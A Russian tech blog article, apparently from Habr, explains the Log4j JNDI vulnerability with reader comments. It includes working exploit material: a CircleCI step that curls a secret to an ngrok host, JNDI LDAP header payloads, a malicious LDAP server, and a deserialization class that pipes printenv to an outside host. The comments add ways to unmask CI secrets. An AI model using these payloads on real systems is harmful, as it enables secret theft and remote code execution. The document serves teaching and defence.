Что-то пошло не так

Думаю все слышали про критическую уязвимость в Log4j, которая существует уже не один десяток лет, но была обнаружена совсем недавно. В итоге ей присвоили самый высокий критический статус CVE-2021-44228 и многие компании, включая Microsoft, Amazon и IBM признали, что некоторые их сервисы подвержены этой уязвимости. Ее суть в том, что Log4j позволяет выполнить любой вредоносный код на сервере при помощи Java Naming and Directory Interface (JNDI). Хотя последние 2 года Java я использую крайне редко, мне все равно стало интересно разобраться с проблемой более детально.

История о том как я искал ключи

Начну очень издалека ... с жизненного примера, который не имеет ничего общего с Log4j и Java, но даст базовое понимание того как можно использовать уязвимости. Как-то я работал на проекте, где другой разработчик занимался конфигурацией Continuous Integration, но перед увольнением забыл не захотел поделиться Environment Variables. Полгода все работало хорошо, но пришло время что-то подкрутить, и мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных. Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде. То есть во время создании переменной ее значение видно (что очевидно)

А уже после, мы видим только маску в формате хххх{four-last-characters} (что в принципе тоже очевидно)

Так как я все таки разработчик, и у меня был доступ к конфигурации деплоя <repository>/.circleci/config.yml, то первое, что мне пришло в голову, это распечатать значение переменной окружения прямо в консоль используя echo, что в реалиях CircleCI выглядит примерно так

version: 2.1

jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
workflows:
  build:
    jobs:
      - build

Здесь CIRCLE_REPOSITORY_URL - встроенная переменная CircleCI, а AWS_SECRET_ACCESS_KEY - переменная проекта созданная вручную. К сожалению счастью, вывод в консоль сработал только для встроенной переменной, а вместо AWS ключа распечаталась маска ************************** которая мало чем может помочь

К слову, в первые годы жизни CircleCI это еще работало, но в конце 2019 хак сломали починили.

Думаем дальше и приходим к выводу, что очень часто, переменные окружения - это ключи или токены, которые используются для аутентификации/авторизации на других ресурсах, и логично предположить, что если “вкинуть” переменную в curl, то CI отправит ее в “сыром” виде и уже принимающая сторона сможет увидеть значение без маски. Пишем очень примитивный HTTP сервер на Node.js, единственная задача которого — печатать тело запроса в консоль

const express = require('express')
const app = express()
const port = 3000

app.use(express.text())

// Accepts literally any request to literally any path
app.all('*', (req, res) => {
  // Print body to the console
  console.log(req.body)

  // Respond with empty string
  res.send('')
})

app.listen(port, () => {
  console.log(`App listening at http://localhost:${port}`)
})

Запускаем локально, тестируем

curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'

Убеждаемся что все работает хорошо и тело запроса вывелось в консоль

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
Plain text body

Единственное, что мешает нам отправить curl запрос из CircleCI на наш Node.js HTTP сервер, это то, что сервер поднят на localhost и его “не видно из интернета”. Эту проблему нам помогает решить ngrok. Для тех, кто никогда не слышал про ngrok - это “приблуда”, которая открывает локальный порт и позволяет делать запросы к localhost извне сети даже в обход NAT или firewall. Запускам ngrok и просим его делать forward HTTP запросов на локальный 3000 порт (тот, на котором “бегает” Node.js HTTP сервер)

$ ngrok http 3000

Получаем HTTP и HTTPS ссылки, которые “видно из интернета”

ngrok by @inconshreveable                                                                                                                                                                  (Ctrl+C to quit)
                                                                                                                                                                                                           
Session Status                online                                                                                                                                                                       
Account                       Oleksandr (Plan: Free)                                                                                                                                                       
Version                       2.3.40                                                                                                                                                                       
Region                        United States (us)                                                                                                                                                           
Web Interface                 http://127.0.0.1:4040                                                                                                                                                        
Forwarding                    http://5675-136-28-7-90.ngrok.io -> http://localhost:3000                                                                                                                    
Forwarding                    https://5675-136-28-7-90.ngrok.io -> http://localhost:3000                                                                                                                   
                                                                                                                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                                                                                                                  
                              2       0       0.03    0.01    5.07    5.14   

Осталось собрать все до кучи и отправить curl запрос из CircleCI. Для этого обновляем <repository>/.circleci/config.yml

version: 2.1

jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
      - run:
          name: curl ${AWS_SECRET_ACCESS_KEY}
          command: |
            curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}"
workflows:
  build:
    jobs:
      - build

Коммитим, пушим, смотрим в CircleCI и видим что curl запрос был отправлен успешно

А в консоли Node.js HTTP сервера находим значение переменной окружения AWS_SECRET_ACCESS_KEY, которая пришла в теле curl запроса

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
fake-aws-secret-access-key

Разберем ключевые моменты

Первое, доставка и выполнение вредоносного кода происходит самым обычным пушем в git. Это, пожалуй, то, что делает этот пример очень тривиальным, ведь у нас есть доступ к репозиторию и возможность в него пушить, а соответственно и доставить вредоносный код жертве.

Второе, жертва (в нашем случае CircleCI) выполняет код, выдает cекрет и даже не подозревает об этом.

Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js HTTP сервера.

Пишем и взламываем RESTful Web Service

Очевидно, что самым сложным моментом в процессе эксплоита является доставка и выполнение вредоносного кода, и в случае с Log4j в этом и заключается уязвимость. Камнем преткновения стал так называемый Lookups в Log4j, который позволяет получить значения переменных из конфигурации. Например, вот как можно распечатать AWS_SECRET_ACCESS_KEY  в консоль

public class App {

    private static final Logger LOGGER = LogManager.getLogger(App.class);

    public static void main(String[] args) {
        LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}");
    }
}

Получаем

12:16:13.860 [main] INFO  org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key

Сам по себе Lookups не страшен, но настоящей проблемой стал JNDI Lookups, который позволяет сделать запрос к удаленному LDAP серверу. Для тех, кто не знаком с JNDI и LDAP, вкратце, JNDI - набор интерфейсов, который позволяет общаться с разными ресурсами и объектами, включая LDAP, DNS, CORBA и т.д., а LDAP - протокол доступа к службе каталогов типа Microsoft Active Directory, позволяющий производить операции аутентификации, поиска и т.д. в каталоге. То есть, если у нас есть LDAP сервер, мы можем отправить к нему запрос, используя JNDI.

Не теряя времени, пишем простой LDAP сервер на Node.js единственная задача которого — печатать информацию о запросе в консоль

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q);

  // Dummy response
  res.send({
    dn: '',
    attributes: {}
  })

  res.end()
})

server.listen(port, () => {
  console.log(`LDAP server listening at ${server.url}`)
})

Как и в предыдущем примере, запускаем ngrok и просим его делать forward TCP запросов (LDAP протокол использует именно TCP) на локальный 1389 порт (тот на котором “бегает” Node.js LDAP сервер)

$ ngrok tcp 1389

Получаем TCP ссылку, которую “видно из интернета”

ngrok by @inconshreveable                                                                                                                                                                  (Ctrl+C to quit)
                                                                                                                                                                                                           
Session Status                online                                                                                                                                                                       
Account                       Oleksandr (Plan: Free)                                                                                                                                                       
Version                       2.3.40                                                                                                                                                                       
Region                        United States (us)                                                                                                                                                           
Web Interface                 http://127.0.0.1:4040                                                                                                                                                        
Forwarding                    tcp://4.tcp.ngrok.io:18013 -> localhost:1389                                                                                                                                 
                                                                                                                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                                                                                                                  
                              0       0       0.00    0.00    0.00    0.00   

Обновляем Java-приложение таким образом, что бы Log4j писал в лог запрос к нашему LDAP серверу с использованием JNDI

public class App {

    private static final Logger LOGGER = LogManager.getLogger(App.class);

    public static void main(String[] args) {
        LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}");
    }
}

Смотрим в консоль Node.js LDAP сервера и видим значение переменной окружения AWS_SECRET_ACCESS_KEY которая пришла в теле запроса

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

Очевидно, что никто в здравом уме не будет писать в лог вот такую строку ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}, поэтому продолжаем наш эксперимент ... конвертируем Java-приложение в RESTful Web Service используя Spring, но вместо стандартного Logback “просим” Spring использовать Log4j, как это сделать, описано здесь How to use Log4j 2 with Spring Boot. Получаем вот такой контроллер

@RestController
public class GreetingController {

    private final AtomicLong counter = new AtomicLong();

    @GetMapping("/greeting")
    public Greeting greeting() {
        return new Greeting(counter.incrementAndGet(), "Greetings!");
    }
}

Также “говорим” Spring, что хотим писать в лог всю информацию о входящих запросах, включая headers

@SpringBootApplication
public class RestServiceApplication {

    public static void main(String[] args) {
        SpringApplication.run(RestServiceApplication.class, args);
    }

    @Bean
    public CommonsRequestLoggingFilter requestLoggingFilter() {
        CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter();
        loggingFilter.setIncludeClientInfo(true);
        loggingFilter.setIncludeQueryString(true);
        loggingFilter.setIncludePayload(true);
        loggingFilter.setIncludeHeaders(true);
        return loggingFilter;
    }
}

Запускаем сервис и убеждаемся что он работает

$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}

Дальше, отправляем уже знакомый нам запрос к LDAP ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} в заголовке curl запроса

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

И в консоли Node.js LDAP сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldap://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

Ключевые моменты остались теми же, немножко изменилась реализация

Первое, доставка вредоносного кода происходит с помоющью обычного HTTP запроса к серверу. Вот такая строка ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} может прийти или в теле запроса или в его заголовке, главное, что бы Log4j попытался эту строку записать в лог, и, собственно, в этот момент происходит выполнение. В этом случае нам даже не нужен доступ к сервису, достаточно уметь пользоваться curl и знать куда, отправлять HTTP запрос.

Второе, жертва (в этом случае Log4j) выполняет код, выдает cекрет и даже не подозревает об этом.

Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js LDAP сервера.

Несколько комментариев

  1. Совсем не обязательно явно использовать Log4j. В нашем примере мы явно нигде не вызывали Log4j, а просто “попросили” Spring писать в лог информацию о входящих запросах. Значит, любая зависимость в проекте, которая использует Log4j, может выполнить вредоносный код. Более того, вы даже можете не знать о том, что какая-то сторонняя библиотека его использует ... Например, в Maven можно построить дерево зависимостей и посмотреть, какие библиотеки используются в проекте $ mvn dependency:tree | grep log4j

  2. Даже если облако (AWS, GCP, Azure, etc) фильтрует заголовки запросов перед тем, как отправить их на сервер, все не отфильтруешь, и проблема может вылезть даже в таких неожиданных местах, как имя пользователя или сообщение в чате. Как например, с изменением имени устройства в iCloud You can set the name of your iPhone and exploit Apple iCloud currently

  3. В нашем примере мы знаем, что переменная окружения называется AWS_SECRET_ACCESS_KEY, то есть если мы используем “экзотические” имена переменных, то нам и нечего бояться? Это не совсем так ... каким бы сложным не казался последний пример, JNDI может намного больше, чем “просто спросить” LDAP сервер

Ковыряем внутри JNDI

Забегая вперед, скажу пару слов о сериализации и десериализации. Сериализация и десериализация в Java — это способ сохранить объект в текстовом виде (сериализация) и восстановить этот же объект в Java позже (десериализация). Это как конвертировать Java-объект в JSON, а потом JSON конвертировать в Java-объект на другом сервере, почитать детальнее можно здесь Java Object Serialization.

Как оказывается, JNDI может создавать объекты на основании ответа от LDAP сервера, нужно просто знать, что вернуть. Например, если LDAP сервер вернет атрибут javaClassName, то JNDI попытается десериализовать объект (см. LdapCtx.java#L1078-L1081)

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
    // serialized object or object reference
    obj = Obj.decodeObject(attrs);
}

Дальше совсем не долго посмотреть в исходный код JNDI и разобраться, какие еще атрибуты нужно вернуть (см. Obj.java#L63-L81 и Obj.java#L227-L260)

// LDAP attributes used to support Java objects.
static final String[] JAVA_ATTRIBUTES = {
    "objectClass",
    "javaSerializedData",
    "javaClassName",
    "javaFactory",
    "javaCodeBase",
    "javaReferenceAddress",
    "javaClassNames",
    "javaRemoteLocation"     // Deprecated
};

static final int OBJECT_CLASS = 0;
static final int SERIALIZED_DATA = 1;
static final int CLASSNAME = 2;
static final int FACTORY = 3;
static final int CODEBASE = 4;
static final int REF_ADDR = 5;
static final int TYPENAME = 6;

static Object decodeObject(Attributes attrs)
    throws NamingException {

    Attribute attr;

    // Get codebase, which is used in all 3 cases.
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
    try {
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
            if (!VersionHelper.isSerialDataAllowed()) {
                throw new NamingException("Object deserialization is not allowed");
            }
            ClassLoader cl = helper.getURLClassLoader(codebases);
            return deserializeObject((byte[])attr.get(), cl);
        } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
            // For backward compatibility only
            return decodeRmiObject(
                (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                (String)attr.get(), codebases);
        }

        attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
        if (attr != null &&
            (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
            return decodeReference(attrs, codebases);
        }
        return null;
    } catch (IOException e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

Понимаем, что нам нужны атрибуты javaClassName, javaSerializedData и javaCodeBase. Создаем очень простой класс Exploit

public class Exploit implements Serializable {

    private static final long serialVersionUID = -6153657763951339296L;

    private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException {
        // Any shady shit goes here
        Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");
    }

    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {}
}

Создаем объект класса Exploit, сериализируем его и получаем вот такую строку

'sr'Exploit[''xpx

Конвертируем ее в Base64

rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=

Собираем jar файл с классом Exploit и закидываем в любое место, доступное по HTTP (для простоты я залил на GitHub). Обновляем LDAP сервер таким образом, чтобы он возвращал нужные нам атрибуты

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q);

  // Dummy response
  res.send({
    dn: '',
    attributes: {
      javaClassName: 'Exploit',
      javaSerializedData: Buffer.from('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=', 'base64'),
      javaCodeBase: 'https://raw.githubusercontent.com/oleksandrkyetov/log4j-boilerplate/master/Exploit.jar'
    }
  })

  res.end()
})

server.listen(port, () => {
  console.log(`LDAP server listening at ${server.url}`)
})

И отправляем curl запрос на сервер, как и в предыдущем случае

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

В итоге получаем не только переменную окружения AWS_SECRET_ACCESS_KEY, но и все содержимое printenv

В данном случае, как только сервер получит ответ из LDAP

  1. ClassLoader загрузит Exploit.jar и узнает о классе Exploit

  2. Десериализуется объект класса Exploit

  3. Во время десериализации выполнится код из метода readObject(), а именно Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");

  4. Содержимое printenv “сольется” curl запросом

По сути, во время десериализации можно выполнить любой код, и даже получить доступ к bash сервера. Справедливости ради скажу, что этот метод будет работать только в случае, если -Dcom.sun.jndi.ldap.object.trustURLCodebase стоит в true, то есть если мы разрешили Java загружать jar-файлы в ClassLoader из внешних источников, но уже существует способ это обойти JNDI-Injection-Bypass.

Итог

Естественно, в Log4j это уже починили, но в целом проблема не новая. Есть десятки статей, которые так и называются “... JNDI Injection ...” и были написаны 3-5 лет назад Attacking Unmarshallers :: JNDI Injection using Getter Based Deserialization Gadgets, Jackson deserialization exploits, Json Deserialization Exploitation, есть даже видео 5-ти летней давности на эту тему A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land.

Самая большая проблема в том, что JNDI никуда не делся, а также никуда не делись разработчики, которые не знают о JNDI, но пишут библиотеки, которыми в итоге пользуются другие ...

Комментарии (50)


  1. Wesha
    26.12.2021 23:18
    +32

    Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде.

    Разработчик с пятилетним стажем: некогда думать, трясти надо! (пишет, что описано в статье выше).

    Разработчик с двадцатилетним стажем: Судя по всему, CircleCI заменяет значения переменных окружения, которые выводятся на экран, на звёздочки. Зачем Как? Скорее всего, он сравнивает всё, что выдаётся на экран, со значениями переменных окружения (которые он по определению знает), и что совпадает — то заменяет на звёздочки. Следовательно, чтобы он не заменял на звёздочки, надо, чтобы то, что выводится на экран, не совпадало с переменными окружениия. Иными словами,

    - run: echo ${AWS_SECRET_ACCESS_KEY} | sed 's/a/K/g' | sed 's/b/L/g' | sed 's/c/M/g' | sed 's/d/N/g' | sed 's/e/O/g' | sed 's/f/P/g'

    Problem solved. И без всяких серверов.


    1. Vest
      26.12.2021 23:55

      Скажите, пожалуйста, а шелл-скрипт с выводом переменной окружения в файл сработал бы? Может быть так было бы даже проще. Я не проверял, просто спрашиваю (себе на будущее).


      1. Wesha
        27.12.2021 00:03

        1. Наверняка сработал бы. Но как Вы потом этот файл заберёте без дополнительных танцев с бубном?

        2. Вобще-то CircleCI предоставляет возможность

        залогиниться в конкретный инстанс

        и ручками посмотреть, что там и где. Включая и переменные, и вообще всё что угодно. Так что городить сервера и проч., как автор — это для тонких извращенцев ценителей.


    1. Wesha
      26.12.2021 23:56
      +4

      P.S. Только что проверил в своём инстансе CircleCI:

      Но аффтару за греблю старания всё равно зачОт, да.


    1. lea
      27.12.2021 00:14
      +8

      Может проще в base64 конвертнуть?

      echo ${AWS_SECRET_ACCESS_KEY} | base64 -


      1. Wesha
        27.12.2021 00:19

        Можно и так.

        Просто в моей практике шансов, что на target-системе есть awk, как правило, больше, чем base64.


        1. saboteur_kiev
          27.12.2021 01:56
          +2

          хм. base64 IMHO может быть даже древнее awk, очень странно что в каком-то дистрибутиве его нет из коробки...


          1. Wesha
            27.12.2021 02:25
            -1

            Вы с FreeBSD 1.0 работали? А я работал :)


            1. saboteur_kiev
              29.12.2021 15:47

              Я работал даже с rt11sj

              вопрос в том, сейчас ваш практический опыт актуален?
              Ибо писать пайп из 6 sed-ов подряд, а потом говорить что base64 может быть несовместим, потому что оказывается он может отсутствовать в freebsd дремучей версии...


    1. saboteur_kiev
      27.12.2021 01:55
      +12

      devops с 15-летним стажем.

      ВСЕ адекватные CI/CD инструменты проверяют что выводится в консольных лог через их интерфейсы, и все переменные которые считаются secret, маскируют.
      И это не защита от хакеров, это на всякий случай, часть защиты от дурака.

      Если есть доступ к исходникам или настройке джобы, обойти это можно обычными способами. разделить переменную на две части и вывести отдельно, или сделать rev

      echo ${AWS_SECRET_ACCESS_KEY}|rev

      будет в общем случае достаточно, останется скопировать из консоли и перевернуть назад.


      1. Wesha
        27.12.2021 02:27

        останется скопировать из консоли и перевернуть назад.

        У человека нет доступа в консоль (ну, или он так считает).


        1. saboteur_kiev
          29.12.2021 15:44

          У человека есть доступ к логам консоли. Иначе зачем он вообще тогда код пишет?
          Я просто напоминаю, что на самом деле секреты в логах звездочками замазывают именно лог вьюверы, и чтобы их обойти, достаточно 1 символ поменять.


          1. Wesha
            29.12.2021 21:31

            У человека есть доступ к логам консоли.

            Это CircleCI. Там всё через веб-интерфейс (который и есть тот самый лог вьювер). Доступ к настоящей консоли получить можно — но через небольшие танцы с бубном, а человек не разобрался, как правильно в бубен бить, изобрёл свой собственный велосипед на костылях.


    1. akhmelev
      27.12.2021 11:38
      -4

      Разработчик с 25-летним стажем: log4j на сервере это по сути дыра с виде инъекции произвольного кода через LDAP, доставить которую можно тупо через http, например переписав тот же user-agent (чаще всего в пруфах по этой уязвимости фигурирует).

      Hо вместо лечения самой дыры "разработчик с 20-летним стажем" запрещает этому вредоносному коду админскими костылями что-то там "важное за звездочками" читать? И ещё и говорит "Problem solved"?

      Супер просто. Получите и распишитесь майнер|сниффер|впишите-любую-нагрузку. Не туда смотрите в общем. Это совсем не админская проблема, а именно девелоперская. И не в CI и секретах тут дело, они лишь для примера эксплуатации приведены.


      1. Wesha
        27.12.2021 11:53

        log4j на сервере это по сути дыра с виде инъекции произвольного кода через LDAP

        Эммм.... Вы статью с начала читали, или как, сразу с середины?

        А в начале был параграф, цитирую:

        мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных. Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде.

        Вот эту проблему и решали.

        А про log4j я тактично промолчу, потому как слов нет — одни символы.


        1. akhmelev
          27.12.2021 13:48
          -2

          А вы заголовок статьи читали? Парадоксально, но в нем обычно автор отражает, то о чем собственно статья ;)


          1. Wesha
            27.12.2021 18:31

            Парадоксально, но комментатор не обязан разбирать всю статью целиком — он имеет право остановиться только на тех моментах, к которым у него претензии.


            1. akhmelev
              27.12.2021 23:27

              Я себе чуть иначе представляю обсуждение, извините. Видимо возрастное. Мы точно не найдем общего языка. Всего вам доброго.


            1. akhmelev
              28.12.2021 10:19

              А да, забыл совсем: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true", но это уже не в предложенном контексте дискуссии, а скорее по сути.

              Но лучше конечно бы обновить зависимости.


    1. Yngvie
      27.12.2021 13:30
      +4

      А можно пояснение для разработчика без двадцатилетнего стажа? sed 's/a/K/g' заменит все а на К.

      Но в таком случае, как мне понять что КК, написаное на экране, было изначально аК, а не Ка?

      Или это вариант чисто для Hex значений?


      1. Wesha
        27.12.2021 18:32

        Или это вариант чисто для Hex значений?

        Задача стояла "получить ключ AWS" — а это 16-ричное число.


        1. Yngvie
          28.12.2021 11:43

          Глянул на свои ключи - у меня это строка, со всеми символами латиницы, а не hex число.


          1. Wesha
            29.12.2021 21:34

            Так или иначе, это уже детали реализации.


  1. technic93
    27.12.2021 02:30
    +2

    Должна быть галка в настройках чтобы на пулл реквксты отдавать другой набор переменных окружения. А секреты давать только для тасков в ветке куда пушат доверенные разработчики.


    1. Wesha
      27.12.2021 07:34
      -1

      Так, строго говоря, в Heroku так и делается. Разным окружениям можно настроить разные переменные.


  1. v0stok86
    27.12.2021 13:42
    -2

    Самое забавное, что половина возможностей бы пропала, если бы на сервере не было curl :)

    Но вот возможность подгружать и выполнять левые jar в рантайме это уже хэдшот конечно :)


    1. hMartin
      27.12.2021 14:42
      +1

      nc, fd, openssl, python, perl - и не нужен curl :)


      1. v0stok86
        27.12.2021 16:18

        Да с подгрузкой jar ничего этого не нужно :)

        Но да, наличие "чего-то" способного создавать http запросы - это я имел ввиду под curl. Ведь, листануть секреты на сервере заинжектив код через log4j - это лишь полдела. Надо ещё эти секреты как-то доставить. Иначе зачем их там серверу смотреть? Он их и так знает.

        В целом, я уже как-то имел разговор на тему - зачем весь этот хлам на серверах, когда мне на полном серьезе утверждали, что поставить питон на CI/CD - это "ну а чотакова все так делают".

        P. S. В вашем случае хватит одного питона.


    1. Source
      27.12.2021 14:49

      Да не, curl - это один из вариантов...
      Нет curl - есть wget, нет wget - есть HttpClient из stdlib.


      1. KawaiDesu
        27.12.2021 15:32

        /dev/tcp!


        1. Source
          27.12.2021 19:34

          Тоже вариант)


      1. v0stok86
        27.12.2021 16:56
        -2

        Эх... надо похоже curl выделять кавычками :) ну какая разница как называется программа, если смысл - создавать http запросы. И ее там просто не должно быть. У автора в посте разве был wget? Нет, у него был curl. Вот я про curl и написал. Глупо, наверно, было бы если бы я написал "wget там быть не должно" к этой статье, где wget упоминается 0 раз.


        1. Source
          27.12.2021 19:34
          +1

          Ну суть в том, что средства для выполнения http-запросов есть в 100% случаев, даже если не установлены ни curl, ни wget. Поэтому их наличие или присутствие ни на что не влияет. Разве что минут на 15 задержит злоумышленника)


          1. v0stok86
            27.12.2021 20:03

            Почему они там есть, не понял? Это какое-то необходимое условие для работы веб сервера? Они там есть, скорее всего, лишь из-за того что их оттуда не убрали. Но не могу придумать ни одной причины, почему их там надо оставить.


            1. Source
              27.12.2021 22:35

              Смотрите, вы уцепились за строку

              Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");

              И сделали вывод, что она работает благодаря наличию curl на целевой машине. Но это в корне неверный вывод. Смотрите на суть: это произвольный код на Java. И ему необязательно опираться на системные команды, в саму Java встроен HttpClient, просто используйте его вместо curl и всех делов.

              P.S. А если вы решили собирать свой JDK из исходников, то лучше уж JNDI выпилите оттуда. А то HttpClient вполне может пригодиться, ну там OneSignal какой-нибудь заюзать или мониторинг ошибок и т.д.


              1. v0stok86
                27.12.2021 23:05

                Не не не :) про эту строчку я как раз написал

                Но вот возможность подгружать и выполнять левые jar в рантайме это уже хэдшот конечно

                Так что не надо тут. Про curl & co - это относится к финту с CI/CD и переменной окружения


                1. Source
                  28.12.2021 12:17

                  Эм, про CI/CD - это вообще лирическое вступление было. Там у вас и так полный доступ и возможностей получить ваши собственные ключи выше крыши без всяких curl. Как минимум, ещё 5 вариантов (без http-вызовов) в коментах набросали.


                  1. v0stok86
                    28.12.2021 12:49

                    Да отступление, да набросали. Это как-то меняет смысл моего сообщения? Вы так и не поняли, что мы говорим об одном и том же? Чтобы что-то доставить нужен транспорт. Только я говорю что если транспорта не будет - то вся схема провалится. А вы говорите, что транспорт можно создать (на джаве написать). И я с этим не спорю - и ежу понятно, что если есть возможность занжектить код (именно код, а не команды окружения), то транспорт всегда можно создать. Только я говорю, что такой возможности быть не должно (нет, не надо переписывать рантайм, в статье есть метод защиты от инжекта джава кода). А вы вот этот момент немного не "догоняете" и продолжаете давить на то, что можно создать запрос на джаве. Когда я эту возможность "выключил". То, что выполняется джава код - это не элемент конкретно этой уязвимости - это отдельная песня (и в статье про это написано, почитайте).

                    А что касается конкретно уязвимости, то сама по себе она не выполняет джава код. Это комбинация из 2х возможностей, которые ещё должны совпасть. И если они совпадают - вот тогда хэдшот и надо плакать.

                    Подумайте прежде чем писать следующий комментарий.


      1. Wesha
        27.12.2021 18:35
        -1

        Нет curl - есть wget, нет wget - есть HttpClient из stdlib.

        Вы ещё про православную рысь забыли. Мы им сайты скрейпали, когда ваших curl-ов с wget-ами и в проекте не было.


  1. YuryB
    27.12.2021 14:09
    +4

    Такое чувство, что автору несколько не хватает базовых знаний, из-за чего эксплуатация уязвимости полна совершенно не нужных зигзагов. Зато статья расширяет кругозор, не знал, что через ноду легко поднять ldap


  1. rdo
    27.12.2021 15:27
    +3

    Если честно, не думал, что log4j позволяет резолвить переменные, указанные в аргументах вызовов, а не в тексте шаблона строки лога. Это действительно какая-то невероятная дыра в безопасности.


  1. voted
    27.12.2021 16:52

    Чисто теоретически, а если закрыть исходящий LDAP трафик это решает же вопрос? Т.е. JNDI не находит нашего фейкового LDAP сервера и не получает в ответ код для исполнения. И временное решение нейтрализующее уязвимость готово, потом можно неспешно продолжать ковыряться в зависимостях и разбираться с первопричиной.


    1. YuryB
      27.12.2021 17:22

      да, у нас на проде секурити тим давно закрыла возможность делать вызов из приложения в интернет. по-хорошему вашему веб серверу нечего шарить в интернете, он должен только отвечать на запросы. всё остальное это подозрительная активность


      1. v0stok86
        27.12.2021 17:29

        А если у вас интеграция с каким-то другим веб сервером в интернете? Например вы делаете апи реквесты к сторонней площадке.


        1. nsmcan
          27.12.2021 18:14

          Открываете firewall для доступа наружу на FQDN:port или IP:port


          1. v0stok86
            27.12.2021 19:11

            у нас на проде секурити тим давно закрыла возможность делать вызов из приложения в интернет

            ?


            1. voted
              27.12.2021 19:17
              +1

              Я думаю имелось ввиду что если приложению куда то надо то для этого есть белый список. А глобально, "в интернет" обычно приложению не надо. Если вашему приложению надо - то скорее всего вам такой вариант защиты от подобных уязвимостей не подходит.


  1. zzzzzzzzzzzz
    29.12.2021 01:53
    +1

    Самое удивительное в этом всём -- с какого хрена логгер, вместо того, чтобы просто вывести строку в лог, занимается какими-то подстановками значений, о которых его (в явном виде) не просили?


    1. sergey-b
      29.12.2021 03:29

      Это вендоры Java EE-серверов приложений активно донатят в оупенсорс вообще и в проект Apache в частности, вот по их заказу и запилили этот бэкдорт данную полезную «фичу».


    1. Wesha
      29.12.2021 07:29

      Причина есть в документации

      Environment variables let you add sensitive data (e.g. API keys) to your jobs rather than placing them in the repository. The value of the variables cannot be read or edited in the app once they are set.